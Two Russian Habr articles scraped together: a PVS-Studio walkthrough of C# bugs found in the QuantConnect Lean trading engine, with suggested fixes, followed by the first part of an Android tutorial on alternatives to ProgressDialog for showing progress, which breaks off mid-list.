public virtual DateTime NextDate(....)
{
....
// both are valid dates, so chose one randomly
if ( IsWithinRange(nextDayOfWeek, minDateTime, maxDateTime)
&& IsWithinRange(previousDayOfWeek, minDateTime, maxDateTime))
{
return _random.Next(0, 2) == 0
? previousDayOfWeek
: nextDayOfWeek;
}
....
}
```
Передача параметров ссылочного типа
-----------------------------------
**Пример**
```
///
/// Copy contents of the portfolio collection to a new destination.
///
///
/// IDictionary implementation calling the underlying Securities collection
///
/// Destination array
/// Position in array to start copying
public void CopyTo(KeyValuePair[] array, int index)
{
array = new KeyValuePair[Securities.Count];
var i = 0;
foreach (var asset in Securities)
{
if (i >= index)
{
array[i] = new KeyValuePair(asset.Key,
asset.Value.Holdings);
}
i++;
}
}
```
[V3061](https://www.viva64.com/ru/w/v3061/) Parameter 'array' is always rewritten in method body before being used. SecurityPortfolioManager.cs 192
Метод принимает коллекцию и сразу же перезаписывает ее значение. Согласитесь, что это выглядит достаточно подозрительно. Поэтому давайте постараемся понять, что должен делать этот метод.
По комментарию и названию метода становится понятно, что в переданный массив должен скопироваться какой-то другой. Однако этого не произойдет, и значение у *array* вне текущего метода останется неизмененным.
Это происходит из-за того, что аргумент *array* будет передан в метод по значению, а не по ссылке. Таким образом, после выполнения операции присвоения ссылку на новый объект будет хранить переменная *array*, доступная внутри метода. Значение аргумента, переданного в метод, останется неизменным. Чтобы это исправить, необходимо передать аргумент ссылочного типа по ссылке:
```
public void CopyTo(out KeyValuePair[] array, // <=
int index)
{
array = new KeyValuePair[Securities.Count];
....
}
```
Так как мы, безусловно, записываем в методе новый массив, то используем модификатор *out* вместо *ref*. Это сразу говорит о том, что переменной внутри будет присвоено значение.
Кстати, этот случай пополняет коллекцию, которую собирает мой коллега Андрей Карпов и про которую можно узнать из статьи "[Начало коллекционирования ошибок в функциях копирования](https://www.viva64.com/ru/b/0723/)".
Освобождаем ресурсы
-------------------
```
public static string ToSHA256(this string data)
{
var crypt = new SHA256Managed();
var hash = new StringBuilder();
var crypto = crypt.ComputeHash(Encoding.UTF8.GetBytes(data),
0,
Encoding.UTF8.GetByteCount(data));
foreach (var theByte in crypto)
{
hash.Append(theByte.ToStringInvariant("x2"));
}
return hash.ToString();
}
```
[V3114](https://www.viva64.com/ru/w/v3114/) IDisposable object 'crypt' is not disposed before method returns. Extensions.cs 510
Чтобы понять смысл данной диагностики, давайте для начала немного вспомним теорию. С вашего позволения, я возьму информацию из документации к этой диагностике:
"Сборщик мусора автоматически освобождает память, связанную с контролируемым объектом, если он больше не используется, и на него не осталось видимых ссылок. Тем не менее, невозможно предсказать, когда именно произойдёт сборка мусора (если не вызывать её вручную). Кроме того, сборщик мусора не имеет информации о таких неуправляемых ресурсах, как дескрипторы, окна или открытые файлы и потоки. Метод *Dispose* обычно используется, чтобы освобождать такие неуправляемые ресурсы".
То есть у нас создалась переменная *crypt* типа *SHA256Managed*, который реализует интерфейс *IDisposable*. В итоге, когда мы выйдем из метода, то потенциально захваченные ресурсы не будут освобождены.
Чтобы это предотвратить, советую использовать *using*. Метод *Dispose* позовется автоматически при достижении закрывающей фигурной скобки, связанной с инструкцией *using*. Выглядит это следующим образом:
```
public static string ToSHA256(this string data)
{
using (var crypt = new SHA256Managed())
{
var hash = new StringBuilder();
....
}
}
```
А если вы не любите фигурные скобочки, то в C# 8.0 можно написать вот так:
```
public static string ToSHA256(this string data)
{
using var crypt = new SHA256Managed();
var hash = new StringBuilder();
....
}
```
Разница с предыдущим вариантом в том, что метод *Dispose* позовется при достижении закрывающей фигурной скобки метода. Это конец области, в котором объявляется *crypt*.
Вещественные числа
------------------
```
public bool ShouldPlot
{
get
{
....
if (Time.TimeOfDay.Hours < 10.25) return true;
....
}
}
public struct TimeSpan : IComparable,
IComparable,
IEquatable,
IFormattable
{
....
public double TotalHours { get; }
public int Hours { get; }
....
}
```
[V3040](https://www.viva64.com/ru/w/v3040/) The '10.25' literal of the 'double' type is compared to a value of the 'int' type. OpeningBreakoutAlgorithm.cs 426
Выглядит странно, что в условии значение переменной типа *int* сравнивается с литералом типа *double*. Выглядит это странно и явно напрашивается какая-то другая переменная. И, действительно, если посмотреть, какие поля с похожим названием есть у *TimeOfDay*, то мы найдем:
```
public double TotalHours { get; }
```
Скорее всего код должен выглядеть вот так:
```
public bool ShouldPlot
{
get
{
....
if (Time.TimeOfDay.TotalHours < 10.25) return true;
....
}
}
```
Также помните, что [нельзя сравнивать на прямое равенство](https://rsdn.org/article/alg/float.xml) ("==", "!=") числа с плавающей запятой. И не забываем про [приведение типов](https://www.viva64.com/ru/examples/v3041/).
Оператор switch
---------------
**Совет 1**
```
public IEnumerable GetDaysByType(TradingDayType type,
DateTime start,
DateTime end)
{
Func typeFilter = day =>
{
switch (type) // <=
{
case TradingDayType.BusinessDay:
return day.BusinessDay;
case TradingDayType.PublicHoliday:
return day.PublicHoliday;
case TradingDayType.Weekend:
return day.Weekend;
case TradingDayType.OptionExpiration:
return day.OptionExpirations.Any();
case TradingDayType.FutureExpiration:
return day.FutureExpirations.Any();
case TradingDayType.FutureRoll:
return day.FutureRolls.Any();
case TradingDayType.SymbolDelisting:
return day.SymbolDelistings.Any();
case TradingDayType.EquityDividends:
return day.EquityDividends.Any();
};
return false;
};
return GetTradingDays(start, end).Where(typeFilter);
}
```
[V3002](https://www.viva64.com/ru/w/v3002/) The switch statement does not cover all values of the 'TradingDayType' enum: EconomicEvent. TradingCalendar.cs 79
Тип переменной *type* — *TradingDayType*, и это — *enum*:
```
public enum TradingDayType
{
BusinessDay,
PublicHoliday,
Weekend,
OptionExpiration,
FutureExpiration,
FutureRoll,
SymbolDelisting,
EquityDividends,
EconomicEvent
}
```
Если вы посчитаете, то увидите, что в перечислении имеется 9 элементов, а в *switch* анализируется только 8. Такая ситуация могла возникнуть из-за расширения кода. Чтобы это предотвратить, я всегда советую явно использовать *default*:
```
public IEnumerable GetDaysByType(TradingDayType type,
DateTime start,
DateTime end)
{
Func typeFilter = day =>
{
switch (type)
{
....
default:
return false;
};
};
return GetTradingDays(start, end).Where(typeFilter);
}
```
Как вы могли заметить, оператор *return*, который был после *switch*, переехал в *default* секцию. В данном случае логика программы не изменилась, но я все равно советую писать именно так.
Причина этому – расширяемость кода. В случае оригинала можно спокойно добавить какую-то логику перед *return false*, не подозревая, что это является *default'ом* оператора *switch*. Сейчас же все явно и наглядно.
Однако, если вы считаете, что в вашем случае всегда должна обрабатываться только часть элементов перечисления, то можно кидать исключение:
```
default:
throw new CustomExeption("Invalid enumeration element");
```
Лично я подсел вот на такой синтаксический сахарок C# 8.0:
```
Func typeFilter = day =>
{
return type switch
{
TradingDayType.BusinessDay => day.BusinessDay,
TradingDayType.PublicHoliday => day.PublicHoliday,
TradingDayType.Weekend => day.Weekend,
TradingDayType.OptionExpiration => day.OptionExpirations.Any(),
TradingDayType.FutureExpiration => day.FutureExpirations.Any(),
TradingDayType.FutureRoll => day.FutureRolls.Any(),
TradingDayType.SymbolDelisting => day.SymbolDelistings.Any(),
TradingDayType.EquityDividends => day.EquityDividends.Any(),
\_ => false
};
};
```
**Совет 2**
```
public string[] GetPropertiesBy(SecuritySeedData type)
{
switch (type)
{
case SecuritySeedData.None:
return new string[0];
case SecuritySeedData.OpenInterest:
return new[] { "OpenInterest" }; // <=
case SecuritySeedData.OpenInterestTick:
return new[] { "OpenInterest" }; // <=
case SecuritySeedData.TradeTick:
return new[] {"Price", "Volume"};
....
case SecuritySeedData.Fundamentals:
return new string[0];
default:
throw new ArgumentOutOfRangeException(nameof(type), type, null);
}
}
```
[V3139](https://www.viva64.com/ru/w/v3139/) Two or more case-branches perform the same actions. SecurityCacheTests.cs 510
В двух разных *case* возвращается одно и тоже значение. В таком виде это выглядит очень подозрительно. Сразу возникает ощущение, что скопировали, вставили и забыли изменить. Поэтому я рекомендую, если для разных значений должна выполняться одна и та же логика, то объединяйте *case* вот так:
```
public string[] GetPropertiesBy(SecuritySeedData type)
{
switch (type)
{
case SecuritySeedData.None:
return new string[0];
case SecuritySeedData.OpenInterest:
case SecuritySeedData.OpenInterestTick:
return new[] { "OpenInterest" };
....
}
}
```
Это явно говорит о том, чего мы хотим, плюс убирает лишнюю строчку текста. :)
Оператор if
-----------
**Пример 1**
```
[TestCaseSource(nameof(DataTypeTestCases))]
public void HandlesAllTypes(....) where T : BaseData, new()
{
....
if ( symbol.SecurityType != SecurityType.Equity
|| resolution != Resolution.Daily
|| resolution != Resolution.Hour)
{
actualPricePointsEnqueued++;
dataPoints.Add(dataPoint);
}
....
}
```
[V3022](https://www.viva64.com/ru/w/v3022/) Expression 'symbol.SecurityType != SecurityType.Equity || resolution != Resolution.Daily || resolution != Resolution.Hour' is always true. LiveTradingDataFeedTests.cs 1431
Данное условие всегда истинно. Ведь, чтобы условие не выполнилось, переменная *resolution* должна иметь значение *Resolution.Daily* и *Resolution.Hour* одновременно. Возможный исправленный вариант:
```
[TestCaseSource(nameof(DataTypeTestCases))]
public void HandlesAllTypes(....) where T : BaseData, new()
{
....
if ( symbol.SecurityType != SecurityType.Equity
|| ( resolution != Resolution.Daily
&& resolution != Resolution.Hour))
{
actualPricePointsEnqueued++;
dataPoints.Add(dataPoint);
}
....
}
```
Несколько рекомендаций по оператору *if*. Когда имеется условие, которое полностью состоит из операторов "||", то после написание проверьте, не проверяется ли одна и та же переменная на **неравенство** чему-то несколько раз подряд.
Похожим образом дело обстоит в условии с оператором "&&". Если переменная несколько раз проверяется на **равенство** чему-то, то это, скорее всего, логическая ошибка.
Так же, если вы пишете составное условие, и в нем присутствует "&&" и "||", то не смущайтесь ставить скобки. Это может помочь либо увидеть ошибку, либо избежать ее.
**Пример 2**
```
public static string SafeSubstring(this string value,
int startIndex,
int length)
{
if (string.IsNullOrEmpty(value))
{
return value;
}
if (startIndex > value.Length - 1)
{
return string.Empty;
}
if (startIndex < -1)
{
startIndex = 0;
}
return value.Substring(startIndex,
Math.Min(length, value.Length - startIndex));
}
```
[V3057](https://www.viva64.com/ru/w/v3057/) The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the first argument. StringExtensions.cs 311
Анализатор говорит, что в первый аргумент метода *Substring* может быть передано значение -1. Это приведет к возникновению исключения типа *System.ArgumentOutOfRangeException*. Давайте смотреть, почему такое значение может получиться. В этом примере нас не интересуют первые два условия, поэтому они будут опущены в рассуждениях.
Параметр *startIndex* имеет тип *int*, следовательно, его значения лежат в диапазоне [-2147483648, 2147483647]. Поэтому, чтобы предотвратить выход за границы массива, разработчик написал следующее условие:
```
if (startIndex < -1)
{
startIndex = 0;
}
```
То есть предполагалось, если пришло отрицательное значение, то мы просто изменим его на 0. Вот только вместо "<=" написали "<", и теперь нижняя граница диапазона переменной *startIndex* (с точки зрения анализатора) равна -1.
Я предлагаю в подобных ситуациях использовать конструкцию вида:
```
if (variable < value)
{
variable = value;
}
```
Такое сочетание читается намного проще, так как участвует на одно значение меньше. Поэтому предлагаю исправить проблему вот так:
```
public static string SafeSubstring(....)
{
....
if (startIndex < 0)
{
startIndex = 0;
}
return value.Substring(startIndex,
Math.Min(length, value.Length - startIndex));
}
```
Вы можете сказать, что мы могли в начальном примере просто поменять знак в условии:
```
if (startIndex <= -1)
{
startIndex = 0;
}
```
Ошибка при этом также исчезает. Однако логика будет выглядеть вот так:
```
if (variable <= value - 1)
{
variable = value;
}
```
Согласитесь, что это смотрится перегружено.
**Пример 3**
```
public override void OnEndOfAlgorithm()
{
var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel;
var futureMarginModel = buyingPowerModel as FutureMarginModel;
if (buyingPowerModel == null)
{
throw new Exception($"Invalid buying power model. " +
$"Found: {buyingPowerModel.GetType().Name}. " +
$"Expected: {nameof(FutureMarginModel)}");
}
....
}
```
[V3080](https://www.viva64.com/ru/w/v3080/) Possible null dereference. Consider inspecting 'buyingPowerModel'. BasicTemplateFuturesAlgorithm.cs 107
[V3019](https://www.viva64.com/ru/w/v3019/) Possibly an incorrect variable is compared to null after type conversion using 'as' keyword. Check variables 'buyingPowerModel', 'futureMarginModel'. BasicTemplateFuturesAlgorithm.cs 105
Очень любопытный фрагмент. Анализатор выдает сразу два предупреждения. И по факту в них содержится проблема и ее причина. Сначала посмотрим, что будет, если условие выполнится. Так как *buyingPowerModel* внутри будет строго *null*, то произойдет разыменование:
```
$"Found: {buyingPowerModel.GetType().Name}. "
```
Причина в том, что в условии перепутана переменная, которая сравнивается с *null*. Вместо *buyingPowerModel* явно должна быть написана *futureMarginModel*. Исправленный вариант:
```
public override void OnEndOfAlgorithm()
{
var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel;
var futureMarginModel = buyingPowerModel as FutureMarginModel;
if (futureMarginModel == null)
{
throw new Exception($"Invalid buying power model. " +
$"Found: {buyingPowerModel.GetType().Name}. " +
$"Expected: {nameof(FutureMarginModel)}");
}
....
}
```
Правда, тут остается проблема с разыменованием *buyingPowerModel* внутри условия. Ведь *futureMarginModel* будет *null* не только когда не является *FutureMarginModel*, но и когда *buyingPowerModel* равен *null*. Поэтому предлагаю вот такой вариант:
```
public override void OnEndOfAlgorithm()
{
var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel;
var futureMarginModel = buyingPowerModel as FutureMarginModel;
if (futureMarginModel == null)
{
string foundType = buyingPowerModel?.GetType().Name
?? "the type was not found because the variable is null";
throw new Exception($"Invalid buying power model. " +
$"Found: {foundType}. " +
$"Expected: {nameof(FutureMarginModel)}");
}
....
}
```
Лично я в последнее время полюбил писать такие конструкции с помощью *is*. Так и кода становится меньше, и сложнее совершить ошибку. Данный пример полностью аналогичен примеру выше:
```
public override void OnEndOfAlgorithm()
{
var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel;
if (!(buyingPowerModel is FutureMarginModel futureMarginModel))
{
....
}
....
}
```
Тем более, что в C# 9.0 нам добавят возможность писать ключевое слово *not*:
```
public override void OnEndOfAlgorithm()
{
var buyingPowerModel = Securities[_contractSymbol].BuyingPowerModel;
if (buyingPowerModel is not FutureMarginModel futureMarginModel)
{
....
}
....
}
```
**Пример 4**
```
public static readonly Dictionary<....>
FuturesExpiryDictionary = new Dictionary<....>()
{
....
if (twoMonthsPriorToContractMonth.Month == 2)
{
lastBusinessDay = FuturesExpiryUtilityFunctions
.NthLastBusinessDay(twoMonthsPriorToContractMonth, 1);
}
else
{
lastBusinessDay = FuturesExpiryUtilityFunctions
.NthLastBusinessDay(twoMonthsPriorToContractMonth, 1);
}
....
}
```
[V3004](https://www.viva64.com/ru/w/v3004/) The 'then' statement is equivalent to the 'else' statement. FuturesExpiryFunctions.cs 1561
При разных условиях выполняется одна и та же логика. Так как один из аргументов является числовым литералом, возможно, должно быть передано другое значение. Например:
```
public static readonly Dictionary<....>
FuturesExpiryDictionary = new Dictionary<....>()
{
....
if (twoMonthsPriorToContractMonth.Month == 2)
{
lastBusinessDay = FuturesExpiryUtilityFunctions
.NthLastBusinessDay(twoMonthsPriorToContractMonth, 2);
}
else
{
lastBusinessDay = FuturesExpiryUtilityFunctions
.NthLastBusinessDay(twoMonthsPriorToContractMonth, 1);
}
....
}
```
Но это не более, чем предположение. Здесь я бы хотел обратить внимание на то, что ошибка происходит в инициализации контейнера. Размер этой инициализации — почти 2000 строк:
Также фрагменты кода внутри похожи друг на друга, что логично, ведь здесь просто заполняется коллекция. Поэтому будьте особенно осторожны, что-то копируя в больших и похожих участках. Вносите изменения сразу, ибо потом глаза устанут, и вы не увидите проблему.
**Пример 5**
```
public AuthenticationToken GetAuthenticationToken(IRestRequest request)
{
....
if (request.Method == Method.GET && request.Parameters.Count > 0)
{
var parameters = request.Parameters.Count > 0
? string.Join(....)
: string.Empty;
url = $"{request.Resource}?{parameters}";
}
}
```
[V3022](https://www.viva64.com/ru/w/v3022/) Expression 'request.Parameters.Count > 0' is always true. GDAXBrokerage.Utility.cs 63
Условие в тернарном операторе всегда истинно, потому что выше уже была выполнена данная проверка. Теперь это либо избыточная проверка, либо в условии выше перепутаны операторы "&&" и "||".
Чтобы этого избежать, когда вы находитесь в условии, всегда держите в голове при каких значениях вы в него зайдете.
Возможный исправленный вариант:
```
public AuthenticationToken GetAuthenticationToken(IRestRequest request)
{
....
if (request.Method == Method.GET && request.Parameters.Count > 0)
{
var parameters = string.Join(....);
url = $"{request.Resource}?{parameters}";
}
}
```
**Пример 6**
```
public bool Setup(SetupHandlerParameters parameters)
{
....
if (job.UserPlan == UserPlan.Free)
{
MaxOrders = 10000;
}
else
{
MaxOrders = int.MaxValue;
MaximumRuntime += MaximumRuntime;
}
MaxOrders = job.Controls.BacktestingMaxOrders; // <=
....
}
```
[V3008](https://www.viva64.com/ru/w/v3008/) The 'MaxOrders' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 244, 240. BacktestingSetupHandler.cs 244
Здесь переменной *MaxOrders* два раза подряд присваивается значение. То есть логика с условиями является излишней.
Чтобы исправить это, у нас есть 2 варианта. Мы либо убираем присвоения в then-else ветках, либо присвоение после условия. Вероятнее всего, что код покрыт тестами, и программа работает корректно. Поэтому оставим только последние присвоение. Возможный исправленный вариант:
```
public bool Setup(SetupHandlerParameters parameters)
{
....
if (job.UserPlan != UserPlan.Free)
{
MaximumRuntime += MaximumRuntime;
}
MaxOrders = job.Controls.BacktestingMaxOrders;
....
}
```
Типичные ошибки для человека
----------------------------
Здесь будут рассмотрены ошибки вида copy-paste, случайно нажатые клавиши и т.д. В общем, самые обычные проблемы несовершенства человека. Мы не машины, поэтому такие ситуации — это нормально.
Общие рекомендации по ним:
* если что-то копируете, то вносите изменения в копию сразу же, как только ее вставите;
* проводите code review;
* используйте специальные инструменты, которые будут искать ошибки за вас.
**Ситуация 1**
```
public class FisherTransform : BarIndicator, IIndicatorWarmUpPeriodProvider
{
private readonly Minimum _medianMin;
private readonly Maximum _medianMax;
public override bool IsReady => _medianMax.IsReady && _medianMax.IsReady;
}
```
[V3001](https://www.viva64.com/ru/w/v3001/) There are identical sub-expressions '\_medianMax.IsReady' to the left and to the right of the '&&' operator. FisherTransform.cs 72
В данном примере поле *IsReady* должно зависеть от двух условий, а по факту зависит от одного. Всему виной опечатка. Скорее всего, вместо *\_medianMin* написали *\_medianMax*. Исправленный вариант:
```
public class FisherTransform : BarIndicator, IIndicatorWarmUpPeriodProvider
{
private readonly Minimum _medianMin;
private readonly Maximum _medianMax;
public override bool IsReady => _medianMin.IsReady && _medianMax.IsReady;
}
```
**Ситуация 2**
```
public BacktestResultPacket(....) : base(PacketType.BacktestResult)
{
try
{
Progress = Math.Round(progress, 3);
SessionId = job.SessionId; // <=
PeriodFinish = endDate;
PeriodStart = startDate;
CompileId = job.CompileId;
Channel = job.Channel;
BacktestId = job.BacktestId;
Results = results;
Name = job.Name;
UserId = job.UserId;
ProjectId = job.ProjectId;
SessionId = job.SessionId; // <=
TradeableDates = job.TradeableDates;
}
catch (Exception err)
{
Log.Error(err);
}
}
```
[V3008](https://www.viva64.com/ru/w/v3008/) The 'SessionId' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 182, 172. BacktestResultPacket.cs 182
У класса много полей, которые необходимо проинициализировать – много строк в конструкторе. Все сливается, и одно поле инициализируется несколько раз. В данном случае, здесь может быть лишняя инициализация или же забыли проинициализировать какое-то другое поле.
Если вам интересно, то вы можете посмотреть и [другие ошибки](https://viva64.com/ru/examples/v3008/), найденные этим диагностическим правилом.
**Ситуация 3**
```
private const string jsonWithScore =
"{" +
"\"id\":\"e02be50f56a8496b9ba995d19a904ada\"," +
"\"group-id\":\"a02be50f56a8496b9ba995d19a904ada\"," +
"\"source-model\":\"mySourceModel-1\"," +
"\"generated-time\":1520711961.00055," +
"\"created-time\":1520711961.00055," +
"\"close-time\":1520711961.00055," +
"\"symbol\":\"BTCUSD XJ\"," +
"\"ticker\":\"BTCUSD\"," +
"\"type\":\"price\"," +
"\"reference\":9143.53," +
"\"reference-final\":9243.53," +
"\"direction\":\"up\"," +
"\"period\":5.0," +
"\"magnitude\":0.025," +
"\"confidence\":null," +
"\"weight\":null," +
"\"score-final\":true," +
"\"score-magnitude\":1.0," +
"\"score-direction\":1.0," +
"\"estimated-value\":1113.2484}";
private const string jsonWithExpectedOutputFromMissingCreatedTimeValue =
"{" +
"\"id\":\"e02be50f56a8496b9ba995d19a904ada\"," +
"\"group-id\":\"a02be50f56a8496b9ba995d19a904ada\"," +
"\"source-model\":\"mySourceModel-1\"," +
"\"generated-time\":1520711961.00055," +
"\"created-time\":1520711961.00055," +
"\"close-time\":1520711961.00055," +
"\"symbol\":\"BTCUSD XJ\"," +
"\"ticker\":\"BTCUSD\"," +
"\"type\":\"price\"," +
"\"reference\":9143.53," +
"\"reference-final\":9243.53," +
"\"direction\":\"up\"," +
"\"period\":5.0," +
"\"magnitude\":0.025," +
"\"confidence\":null," +
"\"weight\":null," +
"\"score-final\":true," +
"\"score-magnitude\":1.0," +
"\"score-direction\":1.0," +
"\"estimated-value\":1113.2484}";
```
[V3091](https://www.viva64.com/ru/w/v3091/) Empirical analysis. It is possible that a typo is present inside the string literal. The 'score' word is suspicious. InsightJsonConverterTests.cs 209
Простите за большой и страшный код. Здесь разные поля имеют одинаковые значения. Это классическая ошибка из семейства copy-paste. Скопировали, задумались, забыли внести изменения – вот и ошибка.
**Ситуация 4**
```
private void ScanForEntrance()
{
var shares = (int)(allowedDollarLoss/expectedCaptureRange);
....
if (ShouldEnterLong)
{
MarketTicket = MarketOrder(symbol, shares);
....
}
else if (ShouldEnterShort)
{
MarketTicket = MarketOrder(symbol, - -shares); // <=
....
StopLossTicket = StopMarketOrder(symbol, -shares, stopPrice);
....
}
....
}
```
[V3075](https://www.viva64.com/ru/w/v3075/) The '-' operation is executed 2 or more times in succession. Consider inspecting the '- -shares' expression. OpeningBreakoutAlgorithm.cs 328
Два раза подряд применен унарный оператор "-". Тем самым значение, переданное в метод *MarketOrder*, останется неизменным. Очень сложно сказать, сколько тут необходимо оставить унарных минусов. Возможно, тут вообще необходим префиксный оператор декремента "--", но была случайно задета клавиша *пробел*. Вариантов — тьма, поэтому один из возможных исправленных вариантов:
```
private void ScanForEntrance()
{
....
if (ShouldEnterLong)
{
MarketTicket = MarketOrder(symbol, shares);
....
}
else if (ShouldEnterShort)
{
MarketTicket = MarketOrder(symbol, -shares);
....
StopLossTicket = StopMarketOrder(symbol, -shares, stopPrice);
....
}
....
}
```
**Ситуация 5**
```
private readonly SubscriptionDataConfig _config;
private readonly DateTime _date;
private readonly bool _isLiveMode;
private readonly BaseData _factory;
public ZipEntryNameSubscriptionDataSourceReader(
SubscriptionDataConfig config,
DateTime date,
bool isLiveMode)
{
_config = config;
_date = date;
_isLiveMode = isLiveMode;
_factory = _factory = config.GetBaseDataInstance(); // <=
}
```
[V3005](https://www.viva64.com/ru/w/v3005/) The '\_factory' variable is assigned to itself. ZipEntryNameSubscriptionDataSourceReader.cs 50
Полю *\_factory* два раза присваивается одно и то же значение. В классе всего четыре поля, поэтому, скорее всего, это просто опечатка. Исправленный вариант:
```
public ZipEntryNameSubscriptionDataSourceReader(....)
{
_config = config;
_date = date;
_isLiveMode = isLiveMode;
_factory = config.GetBaseDataInstance();
}
```
Вывод
-----
Существует множество мест, где можно сделать ошибку. Часть мы замечаем и исправляем сразу. Часть исправляется на code review, а часть я рекомендую возложить на специальные инструменты.
Также, если вам понравился подобный формат, то, пожалуйста, напишите об этом. Я сделаю еще подобное. Спасибо!
[](https://habr.com/en/company/pvs-studio/blog/533302/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikolay Mironov. [Talking About Errors in the QuantConnect Lean Code](https://habr.com/en/company/pvs-studio/blog/533302/). | https://habr.com/ru/post/533304/ | null | ru | null |
# Заметки о ProgressDialog или как правильно показать прогресс выполнения
Здравствуйте!
В данном посте я хочу поговорить о таком элементе UI Android как **ProgressDialog** и вообще о теме отображения прогресса в приложении, возможных реализациях и проблемах.
Под катом вас ждет некоторые мысли по теме + совсем немного кода. Наверно, тема, о которой я буду говорить, многим может показаться очевидной, но глядя на одни и те же «решения» в приложениях из Меркета, все видимо не так однозначно. Плюс, мне будет интересно услышать ваши соображения или best practice по теме.
#### Проблема или Решение №0
[ProgressDialog](http://developer.android.com/reference/android/app/ProgressDialog.html) — базовый элемент Android, является крайне популярным средством при необходимости отображения прогресса выполнения задачи. Кошерный пример реализации ProgressDialog + AsyncTask можно взять у хабрапользователя [mike114](http://habrahabr.ru/users/mike114/) вот [здесь](http://habrahabr.ru/blogs/android_development/114570/).
Все было бы хорошо, но имеется один существенный недостаток: ProgressDialog **модальный**. Т.е. во время его работы пользователь не в состоянии взаимодействовать с UI. Да, иногда это обоснованно, особенно когда попросту нет альтернативных вариантов действия, например, при первоначальном логоне, но во многих ситуациях это не оправдано, т.к. заставляет пользователя ждать окончания операции, хотя он мог бы заняться чем-то более полезным.
Примеров множество, вот [здесь](http://habrahabr.ru/blogs/android/107188/) хабрапользователь [bugrimov](http://habrahabr.ru/users/bugrimov/) использует ProgressDialog для отображения прогресса пока грузится контент с сервера. При этом, если по каким-то причинам, это происходит не так быстро, пользователь будет обязан ждать, пока ему что-то не вернется, хотя вместо этого он мог бы запустить несколько параллельных задач и пока грузятся одни читать уже загруженные.
*Примечание: ProgressDialog коварный элемент, т.к. он настолько привычен и, как следствие, понятен пользователям Android, что они, скорее всего, простят вам его необоснованное использование.*
#### Решение №1. Вообще ничего не показывать
**Плюсы:**
1. В результате такого решения пользователь никак не блокируется и волен делать что ему вздумается. [Здесь](http://habrahabr.ru/blogs/android/78747/) хабрапользователь [rude](http://habrahabr.ru/users/rude/) подобным образом загружает в фоне картинки для списка.
**Минусы:**
1. Пользователь все время находится в неведении, он не знает выполняется еще что-то или нет, а это может раздражать в достаточной степени.
2. Для этого и всех последующих решений без ProgressDialog'а, заключается в усложняющейся логике работы, т.к. теперь во время выполнения задачи пользователь может сделать куда больше действий чем при блокирующем ProgressDialog, то нужно будет это учитывать дополнительно, например, обрабатывать повторный запуск задачи до завершения выполнения такой же предыдущей.
В некоторых ситуациях это может быть нормальным решением, например, если вы пишите свой ICQ-подобный клиент, то нет смысла показывать прогресс для загрузки статуса собеседника, это операция может быть прозрачной для пользователя.
Т.е. вывод, который можно сделать: не стоит доходить до идиотизма при отображении прогрессов, если информации о процессе выполнения операции пользователю не нужна, отображение прогресса можно опустить.
#### Решение №2. Использовать ProgressBar
[ProgressBar](http://developer.android.com/reference/android/widget/ProgressBar.html) — базовый компонент Android, позволяющий отображать прогресс выполнения прямо на View.
Для того чтобы получить что-нибудь аля:
Достаточно создать обычный xml ресурс и определить в нем ProgressBar:
```
```
Далее этот прогресс бар можно использовать, как все прочие компоненты внутри layout'ов:
```
...
progressBar = (ProgressBar) findViewById(R.id.progress_bar);
progressBar.setVisibility(View.VISIBLE);
...
```
Такое решение используется в Android Market, если во время установки/обновления перейти в список установленных приложений, то можно увидеть прогрессы выполнения текущих тасков.
Еще часто подобный подход применяют при загрузке множества однотипных элементов, сначала отображают пустые формы с ProgressBar'ом внутри, а далее по ходу загрузки наполняют их содержимым.
**Плюсы:**
1. Опять же в том, что не блокирует пользователя.
2. А также, в сравнении с первым решением, показывает прогресс, т.е. пользователь в курсе того, что что-то происходит.
**Минусы:**
1. Занимает место на экране, а на мобильных устройствах каждый «клочок» полезной поверхности ценен на вес золота. Его конечно можно скрывать когда прогресса нет, но тогда будет нарушаться логичность UI, в котором каждый элемент занимает свое место.
2. Еще один минус в позиционности, т.к. данный прогресс привязан к экрану, то не всегда очевидно, что делать если переходишь на другой экран, т.е. показывать что-то пользователю или нет, а главное где.
3. И еще минус в том, что положение прогресс бара подсознательно ассоциируется с элементом рядом с котором он расположен, т.е. нужно продумывать интерфейс еще внимательней, чтобы в итоге не было ложных предположений о том, что сейчас обновляется какой-то конкретный элемент, хотя на самом деле обновляется весь экран.
4. Общий минус всех не ProgressDialog решений: усложнение логики работы (см. Решение №1).
#### Решение №3. Использовать ProgressBar внутри Notification Area
Такое решение также используется в Android Market, когда пользователь запускает установку приложения, отдельный прогресс добавляется в Notification area, позволяя пользователю перейти туда в независимости от текущего положения.
Чтобы добавить ProgressBar в Notification Area необходимо для начала создать XML ресурс, например, такой:
```
xml version="1.0" encoding="utf-8"?
```
Далее нужно добавить новый layout в Notification Area:
```
final Intent intent = new Intent(this, Main.class);
final PendingIntent contentIntent = PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
// Текст и иконка в Notification area
final Notification notification = new Notification(R.drawable.icon, "text in notification area", System.currentTimeMillis());
notification.flags = notification.flags | Notification.FLAG_ONGOING_EVENT;
// Связываем Notification View с нашем ресурсом
notification.contentView = new RemoteViews(getApplicationContext().getPackageName(), R.layout.progress_bar);
notification.contentIntent = contentIntent;
// Задаем начальное значение нашего Progress Bar
notification.contentView.setProgressBar(R.id.status_progress, 100, 0, false);
final NotificationManager notificationManager = (NotificationManager) getApplicationContext().getSystemService(Context.NOTIFICATION_SERVICE);
// Посылаем уведомление нашему notification'у
notificationManager.notify(ID, notification);
```
Для работы с созданным прогресс баром можно использовать следующий код:
```
// Изменяем текущую позицию на i
notification.contentView.setProgressBar(R.id.status_progress, 100, i, false);
// Задаем текст
notification.contentView.setTextViewText(R.id.text_progress, "Current progress: " + Integer.toString(i));
// Уведомляем об изменении
notificationManager.notify(ID, notification);
```
В итоге выглядеть ячейка в Notification Area будет вот так:
**Плюсы:**
1. Опять не блокируем пользователя.
2. Как и в решении №2 прогресс показывается и пользователь в курсе что что-то происходит.
3. Данное решение не привязана к окнам программы, т.е. на него можно перейти из любого окна при этом сами окна изменять не требуется.
4. Не требуется дополнительное место в окне для отображения прогресса.
**Минусы:**
